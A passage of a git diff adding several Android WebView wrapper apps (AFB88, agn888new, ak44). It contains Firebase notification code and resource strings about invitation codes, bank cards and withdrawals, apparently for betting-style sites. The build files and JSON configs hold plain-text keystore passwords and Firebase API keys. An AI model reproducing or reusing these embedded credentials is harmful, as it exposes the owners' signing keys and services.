.getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/afb88/src/main/java/com/xyz/afb88/WebApplication.java b/afb88/src/main/java/com/xyz/afb88/WebApplication.java new file mode 100644 index 0000000..db5fe3c --- /dev/null +++ b/afb88/src/main/java/com/xyz/afb88/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.afb88; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/afb88/src/main/res/drawable-anydpi/ic_action_back.xml b/afb88/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/afb88/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/afb88/src/main/res/drawable-hdpi/ic_action_back.png b/afb88/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/afb88/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/afb88/src/main/res/drawable-mdpi/ic_action_back.png b/afb88/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/afb88/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/afb88/src/main/res/drawable-v24/ic_launcher_foreground.xml b/afb88/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/afb88/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/afb88/src/main/res/drawable-xhdpi/ic_action_back.png b/afb88/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/afb88/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/afb88/src/main/res/drawable-xxhdpi/ic_action_back.png b/afb88/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/afb88/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/afb88/src/main/res/drawable/big_bg.xml b/afb88/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..1fafd56 --- /dev/null +++ b/afb88/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/afb88/src/main/res/drawable/ic_launcher_background.xml b/afb88/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/afb88/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/afb88/src/main/res/drawable/input_bg.xml b/afb88/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/afb88/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/afb88/src/main/res/drawable/pass_word_bg.xml b/afb88/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/afb88/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/afb88/src/main/res/drawable/pass_word_bg1.xml b/afb88/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/afb88/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/afb88/src/main/res/drawable/pass_word_bg2.xml b/afb88/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/afb88/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/afb88/src/main/res/drawable/shape_btn_bg.xml b/afb88/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/afb88/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/afb88/src/main/res/drawable/shape_dialog_bg2.xml b/afb88/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/afb88/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/afb88/src/main/res/drawable/shape_dialog_bg3.xml b/afb88/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/afb88/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/afb88/src/main/res/drawable/shape_dialog_bg_new.xml b/afb88/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/afb88/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/afb88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/afb88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/afb88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/afb88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/afb88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/afb88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/afb88/src/main/res/mipmap-hdpi/ic_empty.png b/afb88/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/afb88/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/afb88/src/main/res/mipmap-hdpi/ic_pull_down.png b/afb88/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/afb88/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/afb88/src/main/res/mipmap-xhdpi/ic_close.png b/afb88/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/afb88/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/afb88/src/main/res/mipmap-xhdpi/ic_menu.png b/afb88/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/afb88/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/afb88/src/main/res/mipmap-xxhdpi/app_logo.png b/afb88/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..ca1f7b1 Binary files /dev/null and b/afb88/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/afb88/src/main/res/values-en/strings.xml b/afb88/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/afb88/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/afb88/src/main/res/values-night/themes.xml b/afb88/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/afb88/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/afb88/src/main/res/values/colors.xml b/afb88/src/main/res/values/colors.xml new file mode 100644 index 0000000..be071dd --- /dev/null +++ b/afb88/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #c4c4c4 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/afb88/src/main/res/values/strings.xml b/afb88/src/main/res/values/strings.xml new file mode 100644 index 0000000..73d9f75 --- /dev/null +++ b/afb88/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + AFB88 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/afb88/src/main/res/values/themes.xml b/afb88/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/afb88/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/afb88/src/main/res/xml/app_updater_paths.xml b/afb88/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/afb88/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/afb88/src/main/res/xml/network_security_config.xml b/afb88/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/afb88/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/afb88/src/main/res/xml/provider_paths.xml b/afb88/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/afb88/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/afb88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/afb88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/afb88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/agn888new/build.gradle b/agn888new/build.gradle index d30b739..fe7595a 100644 --- a/agn888new/build.gradle +++ b/agn888new/build.gradle @@ -10,7 +10,7 @@ android { defaultConfig { //37 - applicationId "com.web.agn" + applicationId "com.xyz.ag" minSdkVersion 24 targetSdkVersion 31 versionCode rootProject.ext.versionCode @@ -20,16 +20,16 @@ android { } signingConfigs { debug { - storeFile file('ppn.jks') - storePassword "2014123456" + storeFile file('justlet.jks') + storePassword "123456" keyAlias 'key0' - keyPassword "2014123456" + keyPassword "123456" } release { - storeFile file('ppn.jks') - storePassword "2014123456" + storeFile file('justlet.jks') + storePassword "123456" keyAlias 'key0' - keyPassword "2014123456" + keyPassword "123456" } } buildTypes { diff --git a/agn888new/google-services.json b/agn888new/google-services.json index ed5195b..ce55196 100644 --- a/agn888new/google-services.json +++ b/agn888new/google-services.json @@ -1,59 +1,21 @@ { "project_info": { - "project_number": "908864777300", - "project_id": "agn888-3b8ef", - "storage_bucket": "agn888-3b8ef.firebasestorage.app" + "project_number": "1012355298511", + "project_id": "notiag8", + "storage_bucket": "notiag8.firebasestorage.app" }, "client": [ { "client_info": { - "mobilesdk_app_id": "1:908864777300:android:07ba7be57fb0c9d2ac11c1", + "mobilesdk_app_id": "1:1012355298511:android:1ab756ace1aaecb8d533ba", "android_client_info": { - "package_name": "com.web.agn" + "package_name": "com.xyz.ag" } }, "oauth_client": [], "api_key": [ { - "current_key": "AIzaSyB8ISe5W0zOSSvV88sH-u4DMAhO_0Mnjfg" - } - ], - "services": { - "appinvite_service": { - "other_platform_oauth_client": [] - } - } - }, - { - "client_info": { - "mobilesdk_app_id": "1:908864777300:android:682bf12a10bfa0dbac11c1", - "android_client_info": { - "package_name": "com.web.agn888" - } - }, - "oauth_client": [], - "api_key": [ - { - "current_key": "AIzaSyB8ISe5W0zOSSvV88sH-u4DMAhO_0Mnjfg" - } - ], - "services": { - "appinvite_service": { - "other_platform_oauth_client": [] - } - } - }, - { - "client_info": { - "mobilesdk_app_id": "1:908864777300:android:fc7d3cac6abe01c2ac11c1", - "android_client_info": { - "package_name": "com.web.agn888new" - } - }, - "oauth_client": [], - "api_key": [ - { - "current_key": "AIzaSyB8ISe5W0zOSSvV88sH-u4DMAhO_0Mnjfg" + "current_key": "AIzaSyBhW-OU5mQIWzS5oGWP9RXY1Vj8G39UK5U" } ], "services": { diff --git a/agn888new/justlet.jks b/agn888new/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/agn888new/justlet.jks differ diff --git a/agn888new/src/main/AndroidManifest.xml b/agn888new/src/main/AndroidManifest.xml index 9906045..b55506c 100644 --- a/agn888new/src/main/AndroidManifest.xml +++ b/agn888new/src/main/AndroidManifest.xml @@ -1,6 +1,6 @@ + package="com.xyz.ag"> () { @@ -28,7 +39,7 @@ public class MainActivity2 extends com.web.base.MainActivity2 { if (!task.isSuccessful()) { msg = "Subscribe failed"; } - + LogUtils.i("结果:"+msg); } }); } @@ -47,4 +58,5 @@ public class MainActivity2 extends com.web.base.MainActivity2 { } } + } diff --git a/agn888new/src/main/java/com/web/agn/MyFirebaseMessageingService.java b/agn888new/src/main/java/com/xyz/ag/MyFirebaseMessageingService.java similarity index 99% rename from agn888new/src/main/java/com/web/agn/MyFirebaseMessageingService.java rename to agn888new/src/main/java/com/xyz/ag/MyFirebaseMessageingService.java index 32c3335..81c0958 100644 --- a/agn888new/src/main/java/com/web/agn/MyFirebaseMessageingService.java +++ b/agn888new/src/main/java/com/xyz/ag/MyFirebaseMessageingService.java @@ -1,4 +1,4 @@ -package com.web.agn; +package com.xyz.ag; import android.app.NotificationChannel; import android.app.NotificationManager; diff --git a/u88/src/main/java/com/web/u88/WebApplication.java b/agn888new/src/main/java/com/xyz/ag/WebApplication.java similarity index 97% rename from u88/src/main/java/com/web/u88/WebApplication.java rename to agn888new/src/main/java/com/xyz/ag/WebApplication.java index 9cfe36c..fa6e3ea 100644 --- a/u88/src/main/java/com/web/u88/WebApplication.java +++ b/agn888new/src/main/java/com/xyz/ag/WebApplication.java @@ -1,4 +1,4 @@ -package com.web.u88; +package com.xyz.ag; import android.app.Application; import android.content.Context; diff --git a/ak44/.gitignore b/ak44/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/ak44/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/ak44/build.gradle b/ak44/build.gradle new file mode 100644 index 0000000..9db914f --- /dev/null +++ b/ak44/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.ak44" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "ak44" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/ak44/dskjweb.jks b/ak44/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/ak44/dskjweb.jks differ diff --git a/ak44/google-services.json b/ak44/google-services.json new file mode 100644 index 0000000..1a5ea25 --- /dev/null +++ b/ak44/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "947197032440", + "project_id": "notia4k144", + "storage_bucket": "notia4k144.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:947197032440:android:e6083da04b4fc41606880d", + "android_client_info": { + "package_name": "com.xyz.ak44" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyBVIYJabHoI7ZATQ6720Afmw7kniHeqNec" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/ak44/ppn.jks b/ak44/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/ak44/ppn.jks differ diff --git a/ak44/proguard-rules.pro b/ak44/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/ak44/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/ak44/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/ak44/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/ak44/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/ak44/src/main/AndroidManifest.xml b/ak44/src/main/AndroidManifest.xml new file mode 100644 index 0000000..70be73c --- /dev/null +++ b/ak44/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ak44/src/main/java/com/xyz/ak44/MainActivity.java b/ak44/src/main/java/com/xyz/ak44/MainActivity.java new file mode 100644 index 0000000..b4b61ba --- /dev/null +++ b/ak44/src/main/java/com/xyz/ak44/MainActivity.java @@ -0,0 +1,63 @@ +package com.xyz.ak44; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 206; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://ak44au.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#39cb96"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#ffffff"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/ak44/src/main/java/com/xyz/ak44/MyFirebaseMessageingService.java b/ak44/src/main/java/com/xyz/ak44/MyFirebaseMessageingService.java new file mode 100644 index 0000000..f244ecd --- /dev/null +++ b/ak44/src/main/java/com/xyz/ak44/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.ak44; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + 